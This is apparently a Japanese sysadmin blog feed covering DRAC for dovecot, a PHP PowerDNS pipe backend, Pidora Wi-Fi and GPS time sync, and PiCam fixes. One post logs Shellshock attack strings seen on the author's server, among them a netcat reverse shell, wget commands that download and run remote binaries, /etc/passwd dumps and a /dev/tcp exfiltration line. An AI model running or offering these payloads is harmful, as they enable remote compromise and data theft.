cd /usr/src/
tar xvzf ./package/dovecot2-drac-0.1.tar.gz
cd dovecot2-drac/

make DOVDIR=/usr/include/dovecot

cp ./drac_plugin.so /usr/lib64/dovecot/

OKなら、VineLinuxのマシンからでも/etc/init.d/dracdその他をもらってきてしまおう(VineLinuxならこの辺そろっているから苦労ない)

scp vine-server:/etc/init.d/dracd /etc/init.d/
scp vine-server:/usr/sbin/rc.dracd /usr/sbin/

chkconfig –level 2345 rpcbind on
chkconfig –add dracd
chkconfig –level 2345 dracd on

として

/etc/init.d/rpcbind restart
/etc/init.d/dracd restart
/etc/init.d/dovecot restart

あとは実際にPOP3でアクセスして、

strings /etc/mail/dracd.db

してIPアドレスが出てくればOK。

□PowerDNSのBackendをつくってみる

$
0
0

□PowerDNSのBackendをつくってみる

PowerDNSといえば、シェアこそ少ないものの、かなり大規模なシステムで使われているDNSです。(MyDNS.JPでも使っています)
さまざまなSQLデータベースと直結しているので、SQLができる人ならDNS情報の管理がしやすいという利点があります。
また、データベースと連携して地理的ロードバランス(Global Server Load Balancing:GSLB、Geo-IPとかGeoLocation-IPとかいったりしますね。)ができる、ということでも有名かもしれません。

GSLBの実装としてGeoBackendというバックエンド処理があるのですが、これ自体は期待するほど使えません。
(期待してがっかりした本人が言うのですから間違いない!?)

GeoBackendは特定のというか一つのドメインでのみGSLBができ、実際にIPv4アドレスの地理情報を提供しているところの情報を使い、あらかじめ指定した国のみ、そのIPからの問い合わせには、指定した国別コード(アルファベット2文字)をつけたCNAMEを返す、というものです。

例:

emacs /etc/powerdns/pdns.conf

----------
launch=geo,gpgsql


#
# GeoBackend Setting
#
query-cache-ttl=0
cache-ttl=0
geo-zone=geo.domain.com
geo-soa-values=ns0.domain.com,hostmaster@domain.com
geo-ns-records=ns0.domain.com,ns1.domain.com
geo-ip-map-zonefile=/usr/src/zz.countries.nerd.dk.rbldnsd
geo-maps=/etc/powerdns/geo-maps
----------

emacs /etc/powerdns/geo-maps/geo.domain.com
----------
$RECORD www
$ORIGIN geo.domain.com.

# default
0 other
# 127.0.1.136 -> 392
392 japan
# 127.0.2.190 -> 702
702 singapore
# 127.0.2.16 -> 528
528 netherlands
# 127.0.3.72 -> 840
840 usa
----------

とすると、この設定をしたPowerDNSに「www.geo.domain.com」を問い合わせると、問い合わせをしたマシンのIPv4アドレスの所在地により、日本から(と/usr/src/zz.countries.nerd.dk.rbldnsdに定義されている)なら

japan.www.geo.domain.com

がCNAMEとして返るので、別途本来のPowerDNSに「japan.www.geo.domain.com」のAレコードを指定しておけば、それが問い合わせ元に返る、ということになります。

上記の場合には「launch=geo,gpgsql」としているので、このgeobackendでCNAMEまで判明したら、gpgsqlbackend:つまりPostgreSQLの中の情報を検索する、ということになります。

これだけなら「おおっ、すごい」と思うのですが、「geo-zone=geo.domain.com」と書いてしまっているので、このドメインでしかGSLBができません。また「/usr/src/zz.countries.nerd.dk.rbldnsd」自体が国別でしか情報を返してくれないので、そこまで細かい設定はしなくていいんだけど、ということにもなります。
だってMyDNS.JPは日本とシンガポールとオランダとアメリカにしかサーバーがないんだもん。

ではPowerDNSをつかって複数のドメインでGSLBを実現するにはどうするか?
これはもうGeoBackendを改造するか、GeoBackendとは別のバックエンドを作るしかありません。

で、そのバックエンドのサンプルをPHPで作ってしまいました。

最初はC++でバックエンドそのものを作るか?それともCでソケット通信でもしてやり取りするようにするか?とか思っていたのですが、あれこれしながらドキュメントを読んでいると「pipebackendで納得いかない場合には自分でバックエンドを作れ」みたいな事が書いてありました。
http://doc.powerdns.com/html/backend-writers-guide.html

で、サンプルのPerlスクリプトを見ながら、PHPで同じようなものを書いてみました。

「PerlからPHPにしただけかい!!」といわれると…まぁこれはそうなんですが、実際にはこれにさらに味付けをすることで、MyDNS.JPで大陸別のGSLBを標準実装する予定ですので、もうちょっとお待ちください。

#!/usr/bin/php
<?
// ------------------------------------------------------------
// 
// GeoLocBackend
// 
// Ver.01.00	2014.06.20 思い立って少し作ってみる
// 
// Program:
//     Takeshi Kaburagi/JS1FVG    disco-v8 @ 4x4.jp
// 
// Usage:
// 
//   Edit /etc/powerdns/pdns.conf
//   
//   ----------
//   launch=pipe,gpgsql
//   pipe-command=/etc/powerdns/pipebackend.php
//   pipebackend-abi-version=1
//   ----------
//   
//   /etc/init.d/pdns-server restart
//   
//   http://doc.powerdns.com/html/backends-detail.html#pipebackend
//   
//   1) HELO 1が飛んできたらOKを返すとPIPEBackend処理が開始
//   2) PowerDNSから標準入力で上記URLにあるクエリが飛んでくる。
//    →デバッグモードをON(=1)にして出力するとわかるが、しつこくバラバラにしていろいろなタイプのクエリが飛んでくる
//   3) 必要に応じて処理をして返したいデータを標準出力に出して、ENDを最後に送信して終わり
//   
//   ※launchに書いた順番でDNS情報が検索される、pipe(この処理)で情報が見つからないと、gpgsqlに探しに行く、ということ
//   ※pipebackend-abi-versionによってHELO 1の数字が変わる、と同時に送られてくるクエリのフォーマットも増えるし、返し方も変わるので注意
// ------------------------------------------------------------
?>
<?
// ----------------------------------------------------------------------
// Init Routine
// ----------------------------------------------------------------------
// 環境変数を設定する
// タイムゾーン
//date_default_timezone_set('Asia/Tokyo');
date_default_timezone_set(@date_default_timezone_get());

// 内部文字コード
mb_internal_encoding('UTF-8');

// 出力文字コード
mb_http_output('UTF-8');

// デバッグ時のログファイル名
$LOG_FILE = '/var/tmp/pipebackend.log';

// 動作モード
$MODE = 0;

// デバッグモード
$DEBUG_MODE = 1;

?>
<?
// ----------------------------------------------------------------------
// Sub Routine
// ----------------------------------------------------------------------
?>
<?
// --------------------
// LOGGING
// --------------------
function log_write($LOG_STR)
{
	global $LOG;
	global $LOG_FILE;

	// ログファイルポインタが開かれていないなら
	if (!$LOG)
	{
		$LOG = fopen($LOG_FILE, 'a');
	}
	// ログファイルポインタが開かれているなら
	if ($LOG)
	{
		// ログファイルを排他的ロック
		if (flock($LOG, LOCK_EX))
		{
			// ログファイルの一番最後までシーク
			fseek($LOG, 0, SEEK_END);
			// ログファイルに書き出し
			fprintf($LOG, $LOG_STR);
			// ログファイルをアンロック
			flock($LOG, LOCK_UN);
		}
	}
}
?>
<?
// --------------------
// メイン処理
// --------------------

while(($QUERY = fgetcsv(STDIN, 2048, "\t")) !== FALSE)
{
	// デバッグモードがON(=1)なら
	if ($DEBUG_MODE == 1)
	{
		log_write("----------------"."\n".'['.date("Y/m/d H:i:s").']'."\n"."PARAM COUNT = ".count($QUERY)."\n");
		// クエリを全て書き出し
		foreach ($QUERY as $VALUE)
		{
			log_write($VALUE."\n");
		}
	}
	// 接続状態なら
	if ($MODE == 1)
	{
		// パラメータが6個ないなら
		if (count($QUERY) < 6)
		{
			// ネゴシエーション完了、通常動作モード(=1)に
			$MODE = 1;
			log_write("MODE = ".$MODE."\n");
			fprintf(STDOUT, "LOG\tPowerDNS sent unparseable line!?"."\n");
			fprintf(STDOUT, "FAIL"."\n");
			continue;
		}
		
		// クエリがAかCNAMEかANYの場合にのみ、CNAMEが返せる
		if (count($QUERY) == 6 && $QUERY[0] == "Q" && ($QUERY[3] == "A" || $QUERY[3] == "CNAME" || $QUERY[3] == "ANY") && $QUERY[1] == "www.example.com")
		{
			log_write("DATA = ".$QUERY[1]." -> "."geolocip.".$QUERY[1]."\n");
			fprintf(STDOUT, "DATA"."\t".$QUERY[1]."\t".$QUERY[2]."\t"."CNAME"."\t"."300"."\t"."-1"."\t"."geolocip.".$QUERY[1]."\n");
		}
		
		// ここに、受けたクエリ別にPowerDNSに返したいデータを作る処理を書いていけばよい
		
		
		// このBackendでできることはこれで終わり
		fprintf(STDOUT, "END"."\n");
		
	}
	// 接続状態でないなら
	else if ($MODE == 0)
	{
		// ネゴシエーション文字列なら
		if (count($QUERY) == 2 && $QUERY[0] == "HELO" && $QUERY[1] == "1")
		{
			// ネゴシエーション完了、通常動作モード(=1)に
			$MODE = 1;
			log_write("MODE = ".$MODE."\n");
			fprintf(STDOUT, "OK\tPIPE backend firing up"."\n");
		}
	}
}
fclose($LOG);
?>

 

Pidora2014(Fedora20)で無線LAN対応

$
0
0

□Pidora2014(Fedora20)で無線LAN対応(BUFFALO WLI-UC-GNM)

参考URL:

https://wiki.archlinux.org/index.php/Beginners’_Guide_(%E6%97%A5%E6%9C%AC%E8%AA%9E)#.E7.84.A1.E7.B7.9A
https://wiki.archlinux.org/index.php/Wireless_Setup_(%E6%97%A5%E6%9C%AC%E8%AA%9E)#.E3.83.AF.E3.82.A4.E3.83.A4.E3.83.AC.E3.82.B9.E7.AE.A1.E7.90.86

 
980円で買える無線LANドングルを認識させる…挿せばいいだけ。:-)

/var/log/messagesを見ると

> Jul 31 11:13:26 pidora kernel: [  118.796952] usb 1-1.2: new high-speed USB device number 6 using dwc_otg
> Jul 31 11:13:26 pidora kernel: [  118.913085] usb 1-1.2: New USB device found, idVendor=0411, idProduct=01a2
> Jul 31 11:13:26 pidora kernel: [  118.913121] usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3
> Jul 31 11:13:26 pidora kernel: [  118.913141] usb 1-1.2: Product: 802.11 n WLAN
> Jul 31 11:13:26 pidora kernel: [  118.913160] usb 1-1.2: Manufacturer: Ralink
> Jul 31 11:13:26 pidora kernel: [  118.913175] usb 1-1.2: SerialNumber: 1.0
> Jul 31 11:13:28 pidora kernel: [  120.140693] cfg80211: Calling CRDA to update world regulatory domain
> Jul 31 11:13:28 pidora kernel: [  120.179155] cfg80211: World regulatory domain updated:
> Jul 31 11:13:28 pidora kernel: [  120.179198] cfg80211:   (start_freq – end_freq @ bandwidth), (max_antenna_gain, max_eirp)
> Jul 31 11:13:28 pidora kernel: [  120.179219] cfg80211:   (2402000 KHz – 2472000 KHz @ 40000 KHz), (N/A, 2000 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.179232] cfg80211:   (2457000 KHz – 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.179245] cfg80211:   (2474000 KHz – 2494000 KHz @ 20000 KHz), (N/A, 2000 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.179258] cfg80211:   (5170000 KHz – 5250000 KHz @ 80000 KHz), (N/A, 2000 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.179272] cfg80211:   (5735000 KHz – 5835000 KHz @ 80000 KHz), (N/A, 2000 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.179285] cfg80211:   (57240000 KHz – 63720000 KHz @ 2160000 KHz), (N/A, 0 mBm)
> Jul 31 11:13:28 pidora kernel: [  120.376829] usb 1-1.2: reset high-speed USB device number 6 using dwc_otg
> Jul 31 11:13:28 pidora kernel: [  120.486094] ieee80211 phy0: rt2x00_set_rt: Info – RT chipset 3070, rev 0201 detected
> Jul 31 11:13:28 pidora kernel: [  120.531225] ieee80211 phy0: rt2x00_set_rf: Info – RF chipset 0005 detected
> Jul 31 11:13:28 pidora kernel: [  120.575342] usbcore: registered new interface driver rt2800usb

というように一発認識、lsusbも

> Bus 001 Device 005: ID 04d9:1400 Holtek Semiconductor, Inc. PS/2 keyboard + mouse controller
> Bus 001 Device 006: ID 0411:01a2 BUFFALO INC. (formerly MelCo., Inc.) WLI-UC-GNM Wireless LAN Adapter [Ralink RT8070]
> Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter
> Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub
> Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

このとおり。

ip aしてみると

> # ip a
> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
>     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
>     inet 127.0.0.1/8 scope host lo
>        valid_lft forever preferred_lft forever
>     inet6 ::1/128 scope host
>        valid_lft forever preferred_lft forever
> 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
>     link/ether b8:27:eb:f3:7a:43 brd ff:ff:ff:ff:ff:ff
>     inet 192.168.100.113/24 brd 192.168.100.255 scope global dynamic eth0
>        valid_lft 259134sec preferred_lft 259134sec
>     inet 192.168.100.81/24 brd 192.168.100.255 scope global secondary eth0:81
>        valid_lft forever preferred_lft forever
>     inet6 fe80::ba27:ebff:fef3:7a43/64 scope link
>        valid_lft forever preferred_lft forever
> 3: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
>     link/ether b0:c7:45:a9:ca:0b brd ff:ff:ff:ff:ff:ff

としてwlan0が認識されていればOK。

もしくはiwコマンドで

> # iw dev
> phy#0
>         Interface wlan0
>                 ifindex 3
>                 wdev 0×1
>                 addr b0:c7:45:a9:ca:0b
>                 type managed

としてwlan0が認識されていればOK。

そしたらipコマンドでwlan0を起動する

ip link set wlan0 up

すると

iw dev wlan0 scan

でアクセスポイントが見えるので、自分が接続したいAPに接続する。

WEPなら

iw dev wlan0 connect your_essid key 0:your_key

WPAなら

wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf

※もちろんどちらも接続したいAPに合わせてSSIDとかKEYとか書くこと

どっちにしても接続できたかどうかはipかiwコマンドで

> # iw dev wlan0 link
> Connected to 00:07:40:f1:2f:04 (on wlan0)
>         SSID: BIGNETSHIBUYA
>         freq: 2457
>         RX: 17109 bytes (291 packets)
>         TX: 945 bytes (15 packets)
>         signal: -57 dBm
>         tx bitrate: 6.0 MBit/s
>
>         bss flags:      short-slot-time
>         dtim period:    1
>         beacon int:     100

> # ip a
> 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
>     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
>     inet 127.0.0.1/8 scope host lo
>        valid_lft forever preferred_lft forever
>     inet6 ::1/128 scope host
>        valid_lft forever preferred_lft forever
> 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
>     link/ether b8:27:eb:f3:7a:43 brd ff:ff:ff:ff:ff:ff
>     inet 192.168.100.113/24 brd 192.168.100.255 scope global dynamic eth0
>        valid_lft 257567sec preferred_lft 257567sec
>     inet 192.168.100.81/24 brd 192.168.100.255 scope global secondary eth0:81
>        valid_lft forever preferred_lft forever
>     inet6 fe80::ba27:ebff:fef3:7a43/64 scope link
>        valid_lft forever preferred_lft forever
> 3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
>     link/ether b0:c7:45:a9:ca:0b brd ff:ff:ff:ff:ff:ff
>     inet6 2001:3e0:c000:5600:b2c7:45ff:fea9:ca0b/64 scope global dynamic
>        valid_lft 14353sec preferred_lft 14353sec
>     inet6 fe80::b2c7:45ff:fea9:ca0b/64 scope link
>        valid_lft forever preferred_lft forever

のようにして判る。

IPv4アドレスを取得する場合には

dhclient wlan0

もしくは

ip addr add 192.168.0.2/24 dev wlan0
ip route add default via 192.168.0.1

のようにして固定IPをべたべたとすればいいらしい

で、これは面倒なので、カスタムサービスを作ることになる。

cat > /etc/systemd/system/network-wireless@.service

----------
[Unit]
Description=Wireless network connectivity (%i)
Wants=network.target
Before=network.target
BindsTo=sys-subsystem-net-devices-%i.device
After=sys-subsystem-net-devices-%i.device

[Service]
Type=oneshot
RemainAfterExit=yes

ExecStart=/usr/sbin/ip link set dev %i up
ExecStart=/usr/sbin/iw dev wlan0 connect your_essid key 0:your_key
###ExecStart=/usr/sbin/wpa_supplicant -B -i %i -c /etc/wpa_supplicant.conf
ExecStart=/usr/sbin/dhclient %i

ExecStop=/usr/bin/ip link set dev %i down

[Install]
WantedBy=multi-user.target
----------

あとは

systemctl unmask network-wireless@wlan0.service
systemctl enable network-wireless@wlan0.service

で自動起動するようにしておいて、かつ

cat > /etc/sysconfig/network-scripts/ifcfg-wlan0

----------
DEVICE=wlan0
ONBOOT=no
#
NM_CONTROLLED=no
#
# for firewalld
ZONE=trusted
----------

として再起動すれば、WiFiドングルがあれば自動的に接続するようになる。
(network.service では起動しない(ONBOOT=no)が、カスタムサービスで起動するのでOK)

ちなみに手動で起動する場合には

systemctl start network-wireless@wlan0.service

とすればよい。

 

いやー、コマンド覚えるのめんどくさー(というかカスタムサービス書くのもめんどくさー)

 

 

□Raspberry PiにUSB-GPSモジュールを繋いでgpsdとchronydでGPSでの自動時刻補正(簡易版)

$
0
0

□Raspberry PiにUSB-GPSモジュールを繋いでgpsdとchronydでGPSでの自動時刻補正(簡易版)

Linuxにはgpsdというのがあって、簡単にGPSデータを扱えることははるか昔に書いたけど、Raspberry PiがバックアップされたRTCを持っていないので起動するたびに時刻がリセットされてヽ(`Д´#)ノ ムキー!!となっていて、ふとそのことを思い出した。

で、最近はGPSって安いのかなーと思ってアリババでぐぐって見ると

http://www.aliexpress.com/item/G-mouse-U-blox-Microchip-USB-GPS-Receiver-H-8123-U2000-for-PC-and-Laptops-USB/1902950288.html

おー、安い安い、というわけでさっそくポチってみた。

Windows7ではドライバを入れないとダメみたいだったけど、受信できた。

> $GPGLL,,,,,,V,N*64
> $GPTXT,01,01,02,u-blox ag – www.u-blox.com*50
> $GPTXT,01,01,02,HW UBX-G60xx 00040007 FFF9FFFFp*5D
> $GPTXT,01,01,02,ROM CORE 7.03 (45969) Mar 17 2011 16:18:34*59
> $GPTXT,01,01,02,ANTSUPERV=AC SD PDoS SR*20
> $GPTXT,01,01,02,ANTSTATUS=OK*3B
> $GPRMC,,V,,,,,,,,,,N*53
> $GPVTG,,,,,,,,,N*30
> $GPGGA,,,,,,0,00,99.99,,,,,,*48
> $GPGSA,A,1,,,,,,,,,,,,,99.99,99.99,99.99*30
> $GPGSV,1,1,00*79
> $GPGLL,,,,,,V,N*64
> $GPRMC,,V,,,,,,,,,,N*53
> $GPVTG,,,,,,,,,N*30
> $GPGGA,,,,,,0,00,99.99,,,,,,*48
> $GPGSA,A,1,,,,,,,,,,,,,99.99,99.99,99.99*30

ので、Linuxの場合にはとりあえずUSBにさすと…

> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.566880] usb 1-1.4: new full-speed USB device number 5 using dwc_otg
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.669691] usb 1-1.4: New USB device found, idVendor=1546, idProduct=01a6
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.669731] usb 1-1.4: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.669750] usb 1-1.4: Product: u-blox 6 – GPS Receiver
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.669768] usb 1-1.4: Manufacturer: u-blox AG – www.u-blox.com
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.739771] cdc_acm 1-1.4:1.0: ttyACM0: USB ACM device
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.743849] usbcore: registered new interface driver cdc_acm
> Sep 8 13:33:44 mydns-adapter kernel: [ 8944.743878] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters

いけてるっぽいね。

では早速必要なソフトをインストール

yum -y install gpsd gpsd-clients

でもって挿し直すと…

> Sep 8 13:55:05 mydns-adapter systemd: Starting system-gpsdctl.slice.
> Sep 8 13:55:05 mydns-adapter systemd: Created slice system-gpsdctl.slice.
> Sep 8 13:55:05 mydns-adapter systemd: Starting GPS (Global Positioning System) Daemon Sockets.
> Sep 8 13:55:05 mydns-adapter systemd: Listening on GPS (Global Positioning System) Daemon Sockets.
> Sep 8 13:55:05 mydns-adapter systemd: Starting Manage ttyACM0 for GPS daemon…
> Sep 8 13:55:05 mydns-adapter gpsdctl: gpsd_control(action=add, arg=/dev/ttyACM0)
> Sep 8 13:55:05 mydns-adapter gpsdctl: reached a running gpsd
> Sep 8 13:55:05 mydns-adapter systemd: Starting GPS (Global Positioning System) Daemon…
> Sep 8 13:55:06 mydns-adapter systemd: Started GPS (Global Positioning System) Daemon.
> Sep 8 13:55:06 mydns-adapter systemd: Started Manage ttyACM0 for GPS daemon.

あれ?もう動くの?

cgps -s

とか

gpsmon

で動作確認が出来る…よ、というかできたら、あとは時刻合わせをしましょう。

Raspberry Pi用にちゃちゃっと作って配布している汎用IPアドレス通知装置用のブートイメージ(Pidora2014)では、それまでのntpdではなくてchrounydという、新しいNTPソフトが入っているので、これで設定してみる…とはまった。

・chrounyd

http://nyanchew.com/jp/gps%E3%81%AEpps%E4%BF%A1%E5%8F%B7%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%9F-stratum-1-ntp%E3%82%B5%E3%83%BC%E3%83%90%E3%81%AE%E4%BD%9C%E3%82%8A%E6%96%B9
http://www.catb.org/gpsd/gpsd-time-service-howto.html#_feeding_chrony_from_gpsd

emacs /etc/chrony.conf

----------
refclock SHM 0
###refclock SHM 0 offset 0.9999 delay 0.2 refid GPS
----------

emacs /etc/sysconfig/gpsd

----------
OPTIONS=”-N -n”
----------

※↑これがポイント、もともとgpsdはUSB接続デバイスについては-N(フォアグラウンド)モードで
動いてしまうため、最初からUSB-GPSを接続しておくなら、さらにオプションとして-Nをつけて
フォアグラウンドをOFF(本来のデーモンモード)として動作させ、さらに-nでデバイス確認を
無視するようにして動かすようにしておくといい。

を追記して、

systemctl enable chronyd.service
systemctl start chronyd.service
systemctl status chronyd.service

> chronyd.service – NTP client/server
> Loaded: loaded (/usr/lib/systemd/system/chronyd.service; enabled)
> Active: active (running) since Thu 1970-01-01 09:00:11 JST; 44 years 8 months ago
> Process: 222 ExecStartPost=/usr/libexec/chrony-helper add-dhclient-servers (code=exited, status=0/SUCCESS)
> Process: 193 ExecStart=/usr/sbin/chronyd $OPTIONS (code=exited, status=0/SUCCESS)
> Main PID: 205 (chronyd)
> CGroup: /system.slice/chronyd.service
> mq205 /usr/sbin/chronyd
>
> Jan 01 09:00:10 mydns-adapter.local chronyd[205]: chronyd version 1.30 starting
> Jan 01 09:00:10 mydns-adapter.local chronyd[205]: Frequency 7.555 +/- 111.073 ppm read from /var/lib/chrony/drift
> Jan 01 09:00:57 mydns-adapter.local chronyd[205]: Selected source GPS
> Jan 01 09:00:57 mydns-adapter.local chronyd[205]: System clock wrong by 1410164146.402824 seconds, adjustment started
> Sep 08 17:16:43 mydns-adapter.local chronyd[205]: System clock was stepped by 1410164146.402824 seconds

となって、だいたい起動一分くらいで時刻補正してくれているのがわかる。

で、念のため確認すると

chronyc sources

> 210 Number of sources = 1
> MS Name/IP address Stratum Poll Reach LastRx Last sample
> ===============================================================================
> #* GPS 0 4 34 42 +73us[-16321d] +/- 100ms

となって、date で時間があってればOK。

> Mon Sep 8 17:34:17 JST 2014

DSC_0003

これで富士山にスタンドアロンで持っていっても、時刻はちゃんと合わせられるはず(モバイルバッテリがもつかな?)

 

 


□bashをtarボールからインストール #shellshock

$
0
0

なんだか、秋のbash祭りですね。

『これが終わったらBeer Bashするんだ』 (なんかのフラグっぽい)

で、表題のtarボールからインストールする方法。

もうみんなapt-getとかyumばっかりしてて忘れてないかい?(つーか、そもそもしらねーだろ)

mkdir /usr/src/package/

cd /usr/src/package/
wget https://ftp.gnu.org/gnu/bash/bash-3.0.16.tar.gz --no-check-certificate
cd ..
tar xvzf package/bash-3.0.16.tar.gz
cd bash-3.0.16/

wget https://ftp.gnu.org/gnu/bash/bash-3.0-patches/bash30-017 --no-check-certificate

patch -p0 < bash30-017

./configure --prefix=/
make
make test
make install

で、

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

で確認しようね。

 

□shellshockできてたアクセス #shellshock

$
0
0

まぁなんつーか、皆さんがんばってますねぇ…

() { :; }; ping -c 11 216.75.60.74	shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
() { :; }; ping -c 11 209.126.230.74	"shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)
() { :;}; /bin/ping -c 1 198.101.206.138
() { x;};echo;echo $((173470+1245123+9993799))
() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd
() { :;}; /bin/bash -c \"id\"
() { :;}; /usr/bin/wget http://web5.mooo.com/testvul
() { :; }; /bin/nc 103.25.56.88 2341 -e /bin/bash
() { :; }; echo X-Bash-Test: `echo BashVulTest`;
() { :; }; /usr/bin/wget 118.99.61.15/csk.php -O /tmp/csk.php | /bin/chmod 777 /tmp/csk.php | /tmp/csk.php
() { x;};echo;/bin/id
() { :;}; /bin/bash -c \"echo test\"
() { :; }; /bin/bash -c \"if [ $(/bin/uname -m | /bin/grep 64) ]; then /usr/bin/wget 82.118.242.223:5487/v64 -O /tmp/.osock; else /usr/bin/wget 82.118.242.223:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &\"
() { :; }; /bin/ping -c 1 104.131.0.69
() { :; } ; echo xxx.xxx.xxx.jp > /dev/tcp/101.55.120.234/443
() { :; }; /bin/cat /etc/passwd > dumped_file

□PowerDNSで、IPv6からのQueryを受け付けなくなってた #PowerDNS

$
0
0

nslookup www.gslb.mydns.jp 2001:278:1033:4::74:200

調べてみると、確かに無反応。

/etc/init.d/pdns monitor

してみると、

> Oct 10 09:41:09 UDP server bound to 0.0.0.0:53
> Oct 10 09:41:09 TCP server bound to 0.0.0.0:53

どうもIPv4でしか53番を取得していないっぽい。

もしかして!?と思い

emacs /etc/pdns/pdns.conf

> #################################
> # local-ipv6 Local IP address to which we bind
> #
> # local-ipv6=
> local-ipv6=0::0

と、明示してあげたら…

> Oct 10 09:47:41 UDP server bound to 0.0.0.0:53
> Oct 10 09:47:41 UDPv6 server bound to [::]:53
> Oct 10 09:47:41 TCP server bound to 0.0.0.0:53
> Oct 10 09:47:41 TCPv6 server bound to [::]:53

いけた。(ぶーぶー

□Pidora2014でPiCamを使う方法(Raspberry Pi B+ (B Plus)での話)

$
0
0

先日、Raspberry Pi B+が出ましたので、早速ポチってIPアドレス通知装置のイメージで動作確認をしたところ、通常の動作には問題がないのですが、PiCamが動かないことが判明しました。

うーん、自分的にはこれは困ったことになったな、ということであれこれ調べてみても、Pidora.caにも情報がないしBugとしても報告されていないっぽいし…!? というわけで棚上げしていたのですが、OSC東京/秋が終わったので片付けついでにふと思うところがあって、Raspbianとの違いを調べてみました。

というのも、RaspbianだとRaspberry Pi B+でも何の問題もなくPiCamが動作するので、たぶんブート時に違いがあるのだろうと思ってはいたのです。

で、/bootのなかのcmdline.txtとかconfig.txtとかの違いをみていろいろ変更してみましたが動作しません。

あとは禁断のカーネルコピー!?とか思ったのですが、その前にRaspberry Piのファームウェアとも呼べるstart_x.elfとfixup_x.datをRaspbianからPidora2014にコピーしてみましたところ、

…動きました。

ただし、撮影時にPiCamのLEDが光らないという都合がいいのか悪いのかよくわからない状態です。

その後も調べてみると、fixup_x.datはコピーしなくてもいいみたい。

さらに、念のためにstart_x.elfも元に戻してみると…あれ!? 撮影できてるぞ!?

…あーっ!!

----------
#
# for PiCam :-)
start_x=1
start_file=start_x.elf
fixup_file=fixup_x.elf ←なんじゃごるぁ!!
gpu_mem=128
----------

自分で書いたインストールメモが間違えてるっっっ!!!

ガ━━(;゚Д゚)━( ゚Д)━(  ゚)━(   )━(゚;  )━(Д゚; )━(゚Д゚;)━━ン!!!!!

自分を信じてはいけないというオチデシタ。ちゃんちゃん。

#さーて、ブートイメージ作り直すかー。

★追記★

なんでこんなミスをしたかわかりました。

Pidora2014で、最初のGUIでセットアップすると、config.txtに

----------
start_file=start_x.elf
fixup_file=fixup_x.elf
#gpu_mem=128
----------

って出力されるからでしたっ!! :-P

□Pidora2014はyum updateするとPiCamが使えない

$
0
0

まータイトルのとおりなんですけどね。

yum check-update
yum -y update

とかすると、

bootcode.bin 8/1 17836→8/7 17840
fixup.dat 8/1 5860→8/7 6066
fixup_cd.dat 8/1 2090→8/7 2279
fixup_x.dat 8/1 8833→8/7 9114
start.elf 8/1 2572792→8/7 2595064
start_cd.elf 8/1 512952→8/7 528696
start_x.elf 8/1 3515752→8/7 3550344

config-3.12.26-1.20140808git4ab8abb.rpfr20
kernel-3.12.26-1.20140808git4ab8abb.rpfr20.img
が追加

というようになって、Raspberry Piでいうところのファームウェア?の中身が変わってPiCamが使えなくなります。

回避策としては…yum updateする前にこれらのファイルを別の名前にコピーしておいて、

start_file=start_x_picamok.elf
fixup_file=fixup_x_picamok.dat

とかって指定するしかないのかな?

(と、これからやってみますが、とにかく動かなくなるよってことで)

結論!

start_file=start_x_picamok.elf
fixup_file=fixup_x_picamok.dat

というパラメータは意味がないので、Pidora2014RC3では、yum updateするとPiCamが使えなくなるので、
最初の/boot/start_x.elfと/boot/fixup_x.datを別名にしてとっといて、yum update後にPiCamが使え
なくなったら戻せばOK。

mydns-adapter-pidora2014-201410_2.img.gz は、差し戻し済みのものにします。

 

Viewing all 69 articles
Browse latest View live